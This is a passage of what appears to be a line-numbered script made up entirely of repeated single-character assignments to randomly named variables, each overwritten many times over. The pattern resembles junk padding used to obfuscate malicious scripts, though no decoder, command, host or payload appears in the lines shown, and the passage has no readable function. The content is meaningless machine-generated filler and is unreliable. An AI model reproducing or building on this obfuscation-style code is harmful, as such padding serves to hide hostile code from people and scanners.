211	kvqszea = "r";
212	kvqszea = "M";
213	kvqszea = "n";
214	kvqszea = "S";
215	kvqszea = "f";
216	kvqszea = "K";
217	jxkyhvhf = "J";
218	jxkyhvhf = "G";
219	jxkyhvhf = "k";
220	jxkyhvhf = "f";
221	jxkyhvhf = "X";
222	jxkyhvhf = "h";
223	jxkyhvhf = "c";
224	jxkyhvhf = "w";
225	jxkyhvhf = "Z";
226	jxkyhvhf = "R";
227	jxkyhvhf = "q";
228	jxkyhvhf = "l";
229	jxkyhvhf = "u";
230	jxkyhvhf = "P";
231	jxkyhvhf = "R";
232	jxkyhvhf = "O";
233	jxkyhvhf = "z";
234	jxkyhvhf = "f";
235	jxkyhvhf = "u";
236	jxkyhvhf = "A";
237	jxkyhvhf = "p";
238	jxkyhvhf = "-";
239	pqhzpctg = "Y";
240	pqhzpctg = "h";
241	pqhzpctg = "Y";
242	pqhzpctg = "A";
243	pqhzpctg = "e";
244	pqhzpctg = "p";
245	pqhzpctg = "X";
246	pqhzpctg = "U";
247	pqhzpctg = "D";
248	pqhzpctg = "q";
249	pqhzpctg = "e";
250	pqhzpctg = "u";
251	pqhzpctg = "e";
252	pqhzpctg = "J";
253	pqhzpctg = "U";
254	pqhzpctg = "S";
255	pqhzpctg = "A";
256	pqhzpctg = "b";
257	pqhzpctg = "D";
258	pqhzpctg = "U";
259	pqhzpctg = "b";
260	pqhzpctg = "d";
261	pqhzpctg = "o";
262	olifk = "t";
263	olifk = "m";
264	olifk = "u";
265	olifk = "s";
266	olifk = "L";
267	olifk = "x";
268	olifk = "x";
269	olifk = "r";
270	olifk = "f";
271	olifk = "j";
272	olifk = "D";
273	olifk = "K";
274	olifk = "t";
275	olifk = "e";
276	olifk = "C";
277	lchras = "b";
278	lchras = "j";
279	lchras = "V";
280	lchras = "X";
281	lchras = "D";
282	lchras = "L";
283	lchras = "t";
284	lchras = "l";
285	lchras = "Q";
286	lchras = "y";
287	lchras = "T";
288	lchras = "u";
289	lchras = "V";
290	lchras = "G";
291	lchras = "u";
292	lchras = "y";
293	lchras = "I";
294	lchras = "l";
295	lchras = "c";
296	lchras = "U";
297	lchras = "E";
298	lchras = "y";
299	lchras = "T";
300	lchras = "T";
301	lchras = "G";
302	lchras = "%";
303	amgzougnl = "N";
304	amgzougnl = "C";
305	amgzougnl = "h";
306	amgzougnl = "W";
307	amgzougnl = "c";
308	amgzougnl = "G";
309	amgzougnl = "M";
310	amgzougnl = "K";
311	amgzougnl = "p";
312	amgzougnl = "r";
313	amgzougnl = "v";
314	amgzougnl = "P";
315	amgzougnl = "I";
316	amgzougnl = "y";
317	amgzougnl = "l";
318	amgzougnl = "B";
319	amgzougnl = "n";
320	amgzougnl = "c";
321	amgzougnl = "x";
322	amgzougnl = "I";
323	amgzougnl = "t";
324	amgzougnl = "D";
325	amgzougnl = "e";
326	amgzougnl = "t";
327	amgzougnl = "H";
328	amgzougnl = "N";
329	amgzougnl = "A";
330	amgzougnl = "Q";
331	amgzougnl = "b";
332	amgzougnl = "y";
333	amgzougnl = "Y";
334	amgzougnl = "/";
335	zlzqnjinp = "H";
336	zlzqnjinp = "x";
337	zlzqnjinp = "A";
338	zlzqnjinp = "V";
339	zlzqnjinp = "f";
340	zlzqnjinp = "n";
341	zlzqnjinp = "s";
342	zlzqnjinp = "v";
343	zlzqnjinp = "w";
344	zlzqnjinp = "x";
345	zlzqnjinp = "H";
346	zlzqnjinp = "Q";
347	zlzqnjinp = "J";
348	zlzqnjinp = "i";
349	zlzqnjinp = "Z";
350	zlzqnjinp = "t";
351	zlzqnjinp = "E";
352	zlzqnjinp = "R";
353	zlzqnjinp = "X";
354	zlzqnjinp = "X";
355	zlzqnjinp = "R";
356	zlzqnjinp = "p";
357	zlzqnjinp = "G";
358	zlzqnjinp = "z";
359	zlzqnjinp = "b";
360	zlzqnjinp = "R";
361	zlzqnjinp = "N";
362	zlzqnjinp = "A";
363	zlzqnjinp = "f";
364	zlzqnjinp = "V";
365	zlzqnjinp = "M";
366	zlzqnjinp = "q";
367	zlzqnjinp = "&";
368	ddkwgncgs = "R";
369	ddkwgncgs = "U";
370	ddkwgncgs = "E";
371	ddkwgncgs = "n";
372	ddkwgncgs = "f";
373	ddkwgncgs = "B";
374	ddkwgncgs = "g";
375	ddkwgncgs = "z";
376	ddkwgncgs = "k";
377	ddkwgncgs = "K";
378	ddkwgncgs = "E";
379	ddkwgncgs = "N";
380	ddkwgncgs = "K";
381	ddkwgncgs = "Y";
382	ddkwgncgs = "G";
383	ddkwgncgs = "l";
384	ddkwgncgs = "t";
385	ddkwgncgs = "X";
386	ddkwgncgs = "u";
387	ddkwgncgs = "F";
388	ddkwgncgs = "q";
389	ddkwgncgs = "t";
390	ddkwgncgs = "N";
391	ddkwgncgs = "l";
392	ddkwgncgs = "h";
393	ddkwgncgs = "L";
394	ddkwgncgs = "Y";
395	ddkwgncgs = "H";
396	ddkwgncgs = "V";
397	ddkwgncgs = "p";
398	vyzsgieuf = "f";
399	vyzsgieuf = "z";
400	vyzsgieuf = "h";
401	vyzsgieuf = "C";
402	vyzsgieuf = "R";
403	vyzsgieuf = "C";
404	vyzsgieuf = "w";
405	vyzsgieuf = "k";
406	vyzsgieuf = "Q";
407	vyzsgieuf = "z";
408	vyzsgieuf = "I";
409	vyzsgieuf = "y";
410	vyzsgieuf = "Q";
411	vyzsgieuf = "K";
412	vyzsgieuf = "a";
413	vyzsgieuf = "l";
414	vyzsgieuf = "l";
415	vyzsgieuf = "P";
416	vyzsgieuf = "Y";
417	vyzsgieuf = "B";
418	vyzsgieuf = "Q";
419	vyzsgieuf = "P";
420	vyzsgieuf = "Y";
421	vyzsgieuf = "i";
422	vyzsgieuf = "O";
423	vyzsgieuf = "d";
424	vyzsgieuf = "W";
425	vyzsgieuf = "T";
426	ycqhoekcu = "h";
427	ycqhoekcu = "L";
428	ycqhoekcu = "d";
429	ycqhoekcu = "m";
430	ycqhoekcu = "H";
431	ycqhoekcu = "U";
432	ycqhoekcu = "c";
433	ycqhoekcu = "j";
434	ycqhoekcu = "s";
435	dfolvqaod = "s";
436	dfolvqaod = "u";
437	dfolvqaod = "J";
438	dfolvqaod = "f";
439	dfolvqaod = "O";
440	dfolvqaod = "C";
441	dfolvqaod = "U";
442	dfolvqaod = "B";
443	dfolvqaod = "c";
444	dfolvqaod = "U";
445	dfolvqaod = "j";
446	dfolvqaod = "p";
447	dfolvqaod = "S";
448	dfolvqaod = "o";
449	dfolvqaod = "i";
450	dfolvqaod = "h";
451	yeojplmn = "y";
452	yeojplmn = "Z";
453	yeojplmn = "S";
454	yeojplmn = "e";
455	yeojplmn = "2";
456	iprbln = "b";
457	iprbln = "X";
458	iprbln = "n";
459	iprbln = "i";
460	iprbln = "q";
461	iprbln = "x";
462	iprbln = "r";
463	iprbln = "J";
464	iprbln = "s";
465	iprbln = "d";
466	iprbln = "r";
467	iprbln = "A";
468	iprbln = "s";
469	iprbln = "b";
470	iprbln = "y";
471	iprbln = "S";
472	iprbln = "P";
473	iprbln = "Q";
474	iprbln = "u";
475	iprbln = "E";
476	iprbln = "W";
477	iprbln = "L";
478	iprbln = "A";
479	iprbln = "U";
480	iprbln = "X";
481	iprbln = "K";
482	iprbln = "d";
483	iprbln = "t";
484	iprbln = "t";
485	iprbln = "B";
486	iprbln = "j";
487	iprbln = "w";
488	iprbln = "D";
489	iprbln = "U";
490	iprbln = "o";
491	iprbln = "c";
492	iprbln = "\\";
493	pesufiox = "c";
494	pesufiox = "m";
495	pesufiox = "X";
496	pesufiox = "t";
497	pesufiox = "F";
498	pesufiox = "z";
499	pesufiox = "p";
500	pesufiox = "u";
501	pesufiox = "o";
502	pesufiox = "F";
503	dvnpnv = "o";
504	dvnpnv = "J";
505	dvnpnv = "U";
506	dvnpnv = "J";
507	dvnpnv = "Y";
508	dvnpnv = "g";
509	dvnpnv = "l";
510	dvnpnv = "o";
511	dvnpnv = "p";
512	dvnpnv = "X";
513	dvnpnv = "B";
514	dvnpnv = "h";
515	dvnpnv = "V";
516	dvnpnv = "Y";
517	dvnpnv = "u";
518	dvnpnv = "R";
519	dvnpnv = "N";
520	dvnpnv = "r";
521	dvnpnv = "U";
522	dvnpnv = "n";
523	dvnpnv = "L";
524	dvnpnv = "W";
525	dvnpnv = "D";
526	dvnpnv = "s";
527	dvnpnv = "Z";
528	dvnpnv = "T";
529	dvnpnv = "F";
530	dvnpnv = "b";
531	dvnpnv = "H";
532	dvnpnv = "s";
533	dvnpnv = "J";
534	dvnpnv = "e";
535	dvnpnv = "j";
536	dvnpnv = "W";
537	dvnpnv = "Q";
538	dvnpnv = "l";
539	dvnpnv = "a";
540	dvnpnv = "t";
541	dvnpnv = "l";
542	axemrxrra = "Q";
543	axemrxrra = "i";
544	axemrxrra = "U";
545	axemrxrra = "H";
546	axemrxrra = "Z";
547	axemrxrra = "J";
548	axemrxrra = "w";
549	axemrxrra = "F";
550	axemrxrra = "Z";
551	axemrxrra = "I";
552	axemrxrra = "t";
553	axemrxrra = "f";
554	axemrxrra = "Z";
555	axemrxrra = "i";
556	axemrxrra = "i";
557	axemrxrra = "h";
558	axemrxrra = "Z";
559	axemrxrra = "M";
560	axemrxrra = "p";
561	axemrxrra = "U";
562	axemrxrra = "m";
563	axemrxrra = "Z";
564	axemrxrra = "j";
565	axemrxrra = "A";
566	axemrxrra = "n";
567	axemrxrra = "o";
568	axemrxrra = "m";
569	axemrxrra = "v";
570	gdsecm = "U";
571	gdsecm = "k";
572	gdsecm = "N";
573	gdsecm = "S";
574	gdsecm = "r";
575	gdsecm = "y";
576	gdsecm = "w";
577	gdsecm = "R";
578	gdsecm = "Y";
579	gdsecm = "O";
580	gdsecm = "X";
581	gdsecm = "B";
582	gdsecm = "d";
583	gdsecm = "x";
584	gdsecm = "P";
585	gdsecm = "q";
586	gdsecm = "f";
587	gdsecm = "E";
588	gdsecm = "z";
589	gdsecm = "K";
590	gdsecm = "o";
591	gdsecm = "g";
592	gdsecm = "D";
593	gdsecm = "k";
594	gdsecm = "G";
595	gdsecm = "z";
596	gdsecm = "t";
597	gdsecm = "S";
598	gdsecm = "X";
599	gdsecm = "j";
600	gdsecm = "B";
601	gdsecm = "e";
602	gdsecm = "t";
603	eipbamap = "d";
604	eipbamap = "N";
605	eipbamap = "b";
606	eipbamap = "Q";
607	eipbamap = "N";
608	eipbamap = "X";
609	eipbamap = "I";
610	eipbamap = "q";
611	eipbamap = "M";
612	eipbamap = "Q";
613	eipbamap = "s";
614	eipbamap = "N";
615	eipbamap = "V";
616	eipbamap = "h";
617	eipbamap = "p";
618	eipbamap = "j";
619	eipbamap = "Q";
620	eipbamap = "b";
621	eipbamap = "c";
622	eipbamap = "I";
623	eipbamap = "X";
624	eipbamap = "x";
625	eipbamap = "W";
626	eipbamap = "V";
627	eipbamap = "T";
628	eipbamap = "b";
629	eipbamap = "c";
630	eipbamap = "B";
631	eipbamap = "r";
632	ktdxbjfe = "b";
633	ktdxbjfe = "Z";
634	ktdxbjfe = "O";
635	ktdxbjfe = "y";
636	ktdxbjfe = "h";
637	ktdxbjfe = "R";
638	ktdxbjfe = "p";
639	ktdxbjfe = "w";
640	ktdxbjfe = "X";
641	ktdxbjfe = "8";
642	rdwzdvmd = "h";
643	rdwzdvmd = "r";
644	rdwzdvmd = "h";
645	rdwzdvmd = "P";
646	rdwzdvmd = "m";
647	rdwzdvmd = "Q";
648	rdwzdvmd = "t";
649	rdwzdvmd = "P";
650	rdwzdvmd = "n";
651	rdwzdvmd = "o";
652	rdwzdvmd = "f";
653	rdwzdvmd = "L";
654	rdwzdvmd = "c";
655	rdwzdvmd = "l";
656	rdwzdvmd = "V";
657	rdwzdvmd = "h";
658	rdwzdvmd = "b";
659	rdwzdvmd = "w";
660	rdwzdvmd = "y";
661	rdwzdvmd = "n";
662	rdwzdvmd = "Z";
663	rdwzdvmd = "z";
664	rdwzdvmd = "W";
665	rdwzdvmd = "9";
666	ttlbf = "N";
667	ttlbf = "h";
668	ttlbf = "H";
669	ttlbf = "Q";
670	ttlbf = "B";
671	ttlbf = "X";
672	ttlbf = "H";
673	ttlbf = "w";
674	ttlbf = "t";
675	ttlbf = "Z";
676	ttlbf = "x";
677	ttlbf = "w";
678	ttlbf = "m";
679	ttlbf = "L";
680	ttlbf = "v";
681	ttlbf = "x";
682	ttlbf = "x";
683	ttlbf = "H";
684	ttlbf = "L";
685	ttlbf = "D";
686	ttlbf = "b";
687	ttlbf = "a";
688	ttlbf = "a";
689	ttlbf = "M";
690	ttlbf = "g";
691	ttlbf = "l";
692	ttlbf = "l";
693	ttlbf = "Z";
694	ttlbf = "d";
695	ttlbf = "S";
696	ttlbf = "c";
697	sgyhdhem = "o";
698	sgyhdhem = "V";
699	sgyhdhem = "Z";
700	sgyhdhem = "X";
701	sgyhdhem = "Y";
702	sgyhdhem = "Q";
703	sgyhdhem = "k";
704	sgyhdhem = "q";
705	sgyhdhem = "a";
706	sgyhdhem = "z";
707	sgyhdhem = "Y";
708	sgyhdhem = "W";
709	sgyhdhem = "A";
710	sgyhdhem = "P";
711	sgyhdhem = "b";
712	sgyhdhem = "U";
713	sgyhdhem = "O";
714	sgyhdhem = "I";
715	sgyhdhem = "B";
716	sgyhdhem = "B";
717	sgyhdhem = "y";
718	sgyhdhem = "c";
719	sgyhdhem = "j";
720	sgyhdhem = "f";
721	txawvjl = "L";
722	txawvjl = "d";
723	txawvjl = "a";
724	txawvjl = "r";
725	txawvjl = "I";
726	huwnblo = "n";
727	huwnblo = "C";
728	huwnblo = "W";
729	huwnblo = "v";
730	huwnblo = "F";
731	huwnblo = "c";
732	huwnblo = "Q";
733	huwnblo = "u";
734	huwnblo = "B";
735	huwnblo = "y";
736	huwnblo = "Z";
737	huwnblo = "I";
738	huwnblo = "w";
739	huwnblo = "O";
740	huwnblo = "y";
741	huwnblo = "l";
742	huwnblo = "Y";
743	huwnblo = "B";
744	huwnblo = "M";
745	huwnblo = "O";
746	huwnblo = "w";
747	huwnblo = "c";
748	huwnblo = "B";
749	huwnblo = "n";
750	huwnblo = "S";
751	huwnblo = "F";
752	huwnblo = "g";
753	huwnblo = "g";
754	huwnblo = "Q";
755	huwnblo = "O";
756	huwnblo = "q";
757	huwnblo = "i";
758	huwnblo = "Z";
759	huwnblo = "r";
760	huwnblo = "J";
761	huwnblo = "V";
762	huwnblo = "M";
763	huwnblo = "W";
764	huwnblo = "d";
765	huwnblo = "e";
766	huwnblo = "X";
767	huwnblo = "z";
768	huwnblo = "T";
769	huwnblo = "K";
770	huwnblo = "Q";
771	lpkynoadv = "X";
772	lpkynoadv = "k";
773	lpkynoadv = "v";
774	lpkynoadv = "E";
775	lpkynoadv = "p";
776	lpkynoadv = "j";
777	lpkynoadv = "Q";
778	lpkynoadv = "A";
779	lpkynoadv = "f";
780	lpkynoadv = "i";
781	lpkynoadv = "X";
782	lpkynoadv = "G";
783	lpkynoadv = "U";
784	lpkynoadv = "I";
785	lpkynoadv = "Z";
786	lpkynoadv = "z";
787	lpkynoadv = "m";
788	lpkynoadv = "m";
789	lpkynoadv = "a";
790	lpkynoadv = "P";
791	lpkynoadv = "f";
792	lpkynoadv = "o";
793	lpkynoadv = "M";
794	lpkynoadv = "Z";
795	lpkynoadv = "u";
796	lpkynoadv = "h";
797	lpkynoadv = "t";
798	lpkynoadv = "U";
799	lpkynoadv = "R";
800	lpkynoadv = "s";
801	lpkynoadv = "u";
802	lpkynoadv = "v";
803	lpkynoadv = "T";
804	lpkynoadv = "v";
805	lpkynoadv = "J";
806	lpkynoadv = "M";
807	lpkynoadv = "m";
808	lpkynoadv = "E";
809	lpkynoadv = "L";
810	lpkynoadv = "t";
811	lpkynoadv = "J";
812	lpkynoadv = "4";
813	fzwapxmkg = "Z";
814	fzwapxmkg = "Q";
815	fzwapxmkg = "V";
816	fzwapxmkg = "R";
817	fzwapxmkg = "B";
818	fzwapxmkg = "Z";
819	fzwapxmkg = "t";
820	fzwapxmkg = "J";
821	fzwapxmkg = "H";
822	fzwapxmkg = "i";
823	fzwapxmkg = "Q";
824	fzwapxmkg = "D";
825	fzwapxmkg = "h";
826	fzwapxmkg = "u";
827	fzwapxmkg = "b";
828	fzwapxmkg = "g";
829	fzwapxmkg = "y";
830	fzwapxmkg = "T";
831	fzwapxmkg = "H";
832	fzwapxmkg = "l";
833	fzwapxmkg = "p";
834	fzwapxmkg = "d";
835	fzwapxmkg = "G";
836	fzwapxmkg = "Y";
837	fzwapxmkg = "t";
838	fzwapxmkg = "d";
839	yfewbzltm = "h";
840	yfewbzltm = "E";
841	cbehektsj = "V";
842	cbehektsj = "s";
843	cbehektsj = "U";
844	cbehektsj = "I";
845	cbehektsj = "J";
846	cbehektsj = "w";
847	cbehektsj = "Y";
848	cbehektsj = "r";
849	cbehektsj = "t";
850	cbehektsj = "S";
851	cbehektsj = "q";
852	cbehektsj = "n";
853	cbehektsj = "D";
854	cbehektsj = "H";
855	cbehektsj = "x";
856	cbehektsj = "E";
857	cbehektsj = "g";
858	cbehektsj = "w";
859	cbehektsj = "j";
860	cbehektsj = "n";
861	cbehektsj = "G";
862	cbehektsj = "F";
863	cbehektsj = "P";
864	cbehektsj = "w";
865	uhxdmmkaa = "h";
866	uhxdmmkaa = "o";
867	uhxdmmkaa = "v";
868	uhxdmmkaa = "W";
869	uhxdmmkaa = "d";
870	uhxdmmkaa = "b";
871	aluxaylq = "m";
872	aluxaylq = "x";
873	aluxaylq = "m";
874	aluxaylq = "h";
875	aluxaylq = "Z";
876	aluxaylq = "Q";
877	aluxaylq = "z";
878	aluxaylq = "z";
879	aluxaylq = "f";
880	aluxaylq = "g";
881	aluxaylq = "Z";
882	aluxaylq = "n";
883	aluxaylq = "B";
884	aluxaylq = "P";
885	aluxaylq = "t";
886	aluxaylq = "J";
887	aluxaylq = "p";
888	aluxaylq = "A";
889	aluxaylq = "j";
890	aluxaylq = "S";
891	aluxaylq = "k";
892	aluxaylq = "p";
893	aluxaylq = "L";
894	aluxaylq = "o";
895	aluxaylq = "E";
896	aluxaylq = "n";
897	aluxaylq = "B";
898	aluxaylq = "w";
899	aluxaylq = "b";
900	aluxaylq = "b";
901	aluxaylq = "m";
902	aluxaylq = "Q";
903	aluxaylq = "W";
904	aluxaylq = "b";
905	aluxaylq = "n";
906	aluxaylq = "D";
907	aluxaylq = "W";
908	aluxaylq = "A";
909	aluxaylq = "n";
910	aluxaylq = "a";
911	aluxaylq = "e";
912	aluxaylq = "k";
913	asxnfsfmg = "n";
914	fghzgiml = "A";
915	fghzgiml = "Q";
916	fghzgiml = "E";
917	fghzgiml = "R";
918	fghzgiml = "j";
919	fghzgiml = "U";
920	fghzgiml = "T";
921	fghzgiml = "c";
922	fghzgiml = "k";
923	fghzgiml = "A";
924	fghzgiml = "z";
925	fghzgiml = "S";
926	fghzgiml = "f";
927	fghzgiml = "E";
928	fghzgiml = "b";
929	fghzgiml = "J";
930	fghzgiml = "B";
931	fghzgiml = "M";
932	fghzgiml = "K";
933	fghzgiml = "R";
934	fghzgiml = "u";
935	fghzgiml = "L";
936	fghzgiml = "5";
937	pasmf = "L";
938	pasmf = "z";
939	pasmf = "A";
940	pasmf = "A";
941	pasmf = "o";
942	pasmf = "p";
943	pasmf = "v";
944	pasmf = "d";
945	pasmf = "Z";
946	pasmf = "O";
947	pasmf = "t";
948	pasmf = "P";
949	pasmf = "B";
950	pasmf = "E";
951	pasmf = "T";
952	pasmf = "u";
953	pasmf = "i";
954	pasmf = "N";
955	pasmf = "c";
956	pasmf = "h";
957	pasmf = "m";
958	pasmf = "T";
959	pasmf = "\"";
960	bosllipt = "i";
961	bosllipt = "x";
962	bosllipt = "N";
963	bosllipt = "E";
964	bosllipt = "J";
965	bosllipt = "T";
966	bosllipt = "F";
967	bosllipt = "E";
968	bosllipt = "B";
969	bosllipt = "N";
970	bosllipt = "m";
971	bosllipt = "o";
972	bosllipt = "W";
973	bosllipt = "X";
974	bosllipt = "Y";
975	bosllipt = "S";
976	hltslqc = "L";
977	hltslqc = "G";
978	hltslqc = "F";
979	hltslqc = "n";
980	hltslqc = "V";
981	hltslqc = "l";
982	hltslqc = "u";
983	hltslqc = "v";
984	hltslqc = "X";
985	hltslqc = "c";
986	hltslqc = "i";
987	hltslqc = "y";
988	hltslqc = "R";
989	hltslqc = "u";
990	hltslqc = "d";
991	hltslqc = "z";
992	hltslqc = "T";
993	hltslqc = "c";
994	hltslqc = "q";
995	hltslqc = "W";
996	hltslqc = "G";
997	hltslqc = "k";
998	hltslqc = "W";
999	tytgkmnt = "n";
1000	tytgkmnt = "b";
1001	tytgkmnt = "o";
1002	tytgkmnt = "f";
1003	tytgkmnt = "e";
1004	tytgkmnt = "L";
1005	tytgkmnt = "H";
1006	tytgkmnt = "P";
1007	tytgkmnt = "J";
1008	tytgkmnt = "o";
1009	tytgkmnt = "z";
1010	tytgkmnt = "M";
1011	tytgkmnt = "k";
1012	tytgkmnt = "V";
1013	tytgkmnt = "x";
1014	tytgkmnt = "R";
1015	tytgkmnt = "q";
1016	tytgkmnt = "z";
1017	tytgkmnt = "j";
1018	tytgkmnt = "X";
1019	tytgkmnt = "v";
1020	tytgkmnt = "i";
1021	tytgkmnt = "m";
1022	tytgkmnt = "f";
1023	tytgkmnt = "P";
1024	tytgkmnt = "c";
1025	tytgkmnt = "O";
1026	tytgkmnt = "n";
1027	tytgkmnt = "i";
1028	tytgkmnt = "B";
1029	tytgkmnt = "j";
1030	tytgkmnt = "m";
1031	tytgkmnt = "S";
1032	tytgkmnt = "h";
1033	tytgkmnt = "N";
1034	tytgkmnt = "l";
1035	tytgkmnt = " ";
1036	sjsupyngu = "@";
1037	mmuwrh = "r";
1038	mmuwrh = "j";
1039	mmuwrh = "P";
1040	mmuwrh = "q";
1041	mmuwrh = "l";
1042	mmuwrh = "q";
1043	mmuwrh = "o";
1044	mmuwrh = "Z";
1045	mmuwrh = "K";
1046	mmuwrh = "y";
1047	mmuwrh = "V";
1048	mmuwrh = "G";
1049	mmuwrh = "a";
1050	mmuwrh = "o";
1051	mmuwrh = "x";
1052	mmuwrh = "F";
1053	mmuwrh = "g";
1054	mmuwrh = "Z";
1055	mmuwrh = ".";
1056	yqaqejm = "R";
1057	yqaqejm = "j";
1058	yqaqejm = "L";
1059	yqaqejm = "f";
1060	yqaqejm = "j";
1061	yqaqejm = "p";
1062	yqaqejm = "k";
1063	yqaqejm = "s";
1064	yqaqejm = "P";
1065	yqaqejm = "o";
1066	yqaqejm = "K";
1067	yqaqejm = "z";
1068	yqaqejm = "G";
1069	yqaqejm = "o";
1070	yqaqejm = "L";
1071	yqaqejm = "Z";
1072	yqaqejm = "u";
1073	yqaqejm = "z";
1074	yqaqejm = "Q";
1075	yqaqejm = "h";
1076	yqaqejm = "B";
1077	yqaqejm = "O";
1078	yqaqejm = "m";
1079	yqaqejm = "c";
1080	yqaqejm = "w";
1081	yqaqejm = "L";
1082	yqaqejm = "d";
1083	yqaqejm = "Z";
1084	yqaqejm = "Q";
1085	yqaqejm = "B";
1086	yqaqejm = "q";
1087	yqaqejm = "J";
1088	yqaqejm = "G";
1089	yqaqejm = "L";
1090	yqaqejm = "c";
1091	yqaqejm = "A";
1092	yqaqejm = "y";
1093	yqaqejm = "G";
1094	yqaqejm = "O";
1095	yqaqejm = "n";
1096	yqaqejm = "Z";
1097	yqaqejm = "u";
1098	scrrafpc = "N";
1099	scrrafpc = "X";
1100	scrrafpc = "R";
1101	scrrafpc = "A";
1102	scrrafpc = "n";
1103	scrrafpc = "l";
1104	scrrafpc = "i";
1105	scrrafpc = "n";
1106	scrrafpc = "m";
1107	scrrafpc = "r";
1108	scrrafpc = "H";
1109	scrrafpc = "W";
1110	scrrafpc = "G";
1111	scrrafpc = "i";
1112	scrrafpc = "x";
1113	lsguxa = "g";
1114	lsguxa = "B";
1115	lsguxa = "v";
1116	lsguxa = "Q";
1117	lsguxa = "x";
1118	lsguxa = "z";
1119	lsguxa = "Y";
1120	lsguxa = "h";
1121	lsguxa = "z";
1122	lsguxa = "c";
1123	lsguxa = "G";
1124	lsguxa = "D";
1125	lsguxa = "B";
1126	lsguxa = "K";
1127	lsguxa = "K";
1128	lsguxa = "t";
1129	lsguxa = "S";
1130	lsguxa = "u";
1131	lsguxa = "j";
1132	lsguxa = "k";
1133	lsguxa = "V";
1134	lsguxa = "P";
1135	lsguxa = "q";
1136	lsguxa = "c";
1137	lsguxa = "b";
1138	lsguxa = "f";
1139	lsguxa = "U";
1140	lsguxa = "0";
1141	llssnbeis = "Z";
1142	llssnbeis = "n";
1143	llssnbeis = "Y";
1144	llssnbeis = "n";
1145	llssnbeis = "k";
1146	llssnbeis = "U";
1147	llssnbeis = "u";
1148	llssnbeis = "Y";
1149	llssnbeis = "a";
1150	llssnbeis = "N";
1151	llssnbeis = "u";
1152	llssnbeis = "u";
1153	llssnbeis = "X";
1154	llssnbeis = "i";
1155	llssnbeis = "Z";
1156	llssnbeis = "u";
1157	llssnbeis = "M";
1158	llssnbeis = "T";
1159	llssnbeis = "x";
1160	llssnbeis = "P";
1161	llssnbeis = "k";
1162	llssnbeis = "C";
1163	llssnbeis = "r";
1164	llssnbeis = "X";
1165	llssnbeis = "k";
1166	llssnbeis = "j";
1167	llssnbeis = "a";
1168	llssnbeis = "r";
1169	llssnbeis = "j";
1170	llssnbeis = "t";
1171	llssnbeis = ":";
1172	zusbzf = "g";
1173	zusbzf = "D";
1174	zusbzf = "K";
1175	zusbzf = "r";
1176	zusbzf = "P";
1177	xktvhiez = "n";
1178	xktvhiez = "u";
1179	xktvhiez = "p";
1180	xktvhiez = "G";
1181	xktvhiez = "i";
1182	xktvhiez = "D";
1183	xktvhiez = "w";
1184	xktvhiez = "g";
1185	xktvhiez = "V";
1186	xktvhiez = "W";
1187	xktvhiez = "g";
1188	xktvhiez = "U";
1189	xktvhiez = "y";
1190	xktvhiez = "s";
1191	xktvhiez = "F";
1192	xktvhiez = "f";
1193	xktvhiez = "x";
1194	xktvhiez = "p";
1195	xktvhiez = "y";
1196	xktvhiez = "z";
1197	xktvhiez = "W";
1198	xktvhiez = "r";
1199	xktvhiez = "R";
1200	mqcekhe = "l";
1201	mqcekhe = "G";
1202	mqcekhe = "w";
1203	mqcekhe = "T";
1204	mqcekhe = "f";
1205	mqcekhe = "w";
1206	mqcekhe = "X";
1207	mqcekhe = "i";
1208	mqcekhe = "K";
1209	mqcekhe = "O";
1210	mqcekhe = "w";
1211	mqcekhe = "a";
1212	mqcekhe = "C";
1213	mqcekhe = "t";
1214	mqcekhe = "G";
1215	mqcekhe = "N";
1216	mqcekhe = "P";
1217	mqcekhe = "N";
1218	mqcekhe = "x";
1219	mqcekhe = "s";
1220	mqcekhe = "t";
1221	mqcekhe = "u";
1222	mqcekhe = "A";
1223	mqcekhe = "o";
1224	mqcekhe = "Y";
1225	mqcekhe = "e";
1226	mqcekhe = "M";
1227	mqcekhe = "A";
1228	mqcekhe = "u";
1229	mqcekhe = "c";
1230	mqcekhe = "h";
1231	mqcekhe = "Y";
1232	ooczmlpt = "G";
1233	ooczmlpt = "t";
1234	ooczmlpt = "h";
1235	ooczmlpt = "z";
1236	ooczmlpt = "l";
1237	ooczmlpt = "U";
1238	ooczmlpt = "X";
1239	ooczmlpt = "S";
1240	ooczmlpt = "J";
1241	ooczmlpt = "x";
1242	ooczmlpt = "o";
1243	ooczmlpt = "w";
1244	ooczmlpt = "c";
1245	ooczmlpt = "o";
1246	ooczmlpt = "x";
1247	ooczmlpt = "a";
1248	ooczmlpt = "U";
1249	ooczmlpt = "w";
1250	ooczmlpt = "B";
1251	ooczmlpt = "O";
1252	ooczmlpt = "m";
1253	ooczmlpt = "h";
1254	ooczmlpt = "R";
1255	ooczmlpt = "a";
1256	ooczmlpt = "G";
1257	ooczmlpt = "f";
1258	ooczmlpt = "s";
1259	ooczmlpt = "K";
1260	ooczmlpt = "p";
1261	ooczmlpt = "c";
1262	ooczmlpt = "X";
1263	ooczmlpt = "t";
1264	ooczmlpt = "U";
1265	ooczmlpt = "n";
1266	ooczmlpt = "k";
1267	ooczmlpt = "u";
1268	ooczmlpt = "e";
1269	ooczmlpt = "g";
1270	dunta = "S";
1271	dunta = "e";
1272	dunta = "D";
1273	dunta = "v";
1274	dunta = "k";
1275	dunta = "h";
1276	dunta = "L";
1277	dunta = "Y";
1278	dunta = "d";
1279	dunta = "S";
1280	dunta = "Z";
1281	dunta = "O";
1282	dunta = "v";
1283	dunta = "L";
1284	dunta = "A";
1285	dunta = "f";
1286	dunta = "E";
1287	dunta = "J";
1288	dunta = "j";
1289	dunta = "S";
1290	dunta = "E";
1291	dunta = "H";
1292	dunta = "G";
1293	dunta = "C";
1294	dunta = "T";
1295	dunta = "U";
1296	dunta = "f";
1297	dunta = "Z";
1298	dunta = "u";
1299	dunta = "o";
1300	dunta = "R";
1301	dunta = "P";
1302	dunta = "f";
1303	dunta = "K";
1304	dunta = "y";
1305	dunta = "q";
1306	dunta = "c";
1307	dunta = "g";
1308	dunta = "T";
1309	dunta = "r";
1310	dunta = "u";
1311	dunta = "c";
1312	dunta = "m";
1313	kjzcvkv = "M";
1314	kjzcvkv = "i";
1315	kjzcvkv = "Z";
1316	kjzcvkv = "N";
1317	kjzcvkv = "W";
1318	kjzcvkv = "r";
1319	kjzcvkv = "O";
1320	kjzcvkv = "J";
1321	kjzcvkv = "h";
1322	kjzcvkv = "K";
1323	kjzcvkv = "_";
1324	ngwuxk = "q";
1325	ngwuxk = "V";
1326	ngwuxk = "Z";
1327	ngwuxk = "Q";
1328	ngwuxk = "a";
1329	ngwuxk = "I";
1330	ngwuxk = "x";
1331	ngwuxk = "P";
1332	ngwuxk = "n";
1333	ngwuxk = "k";
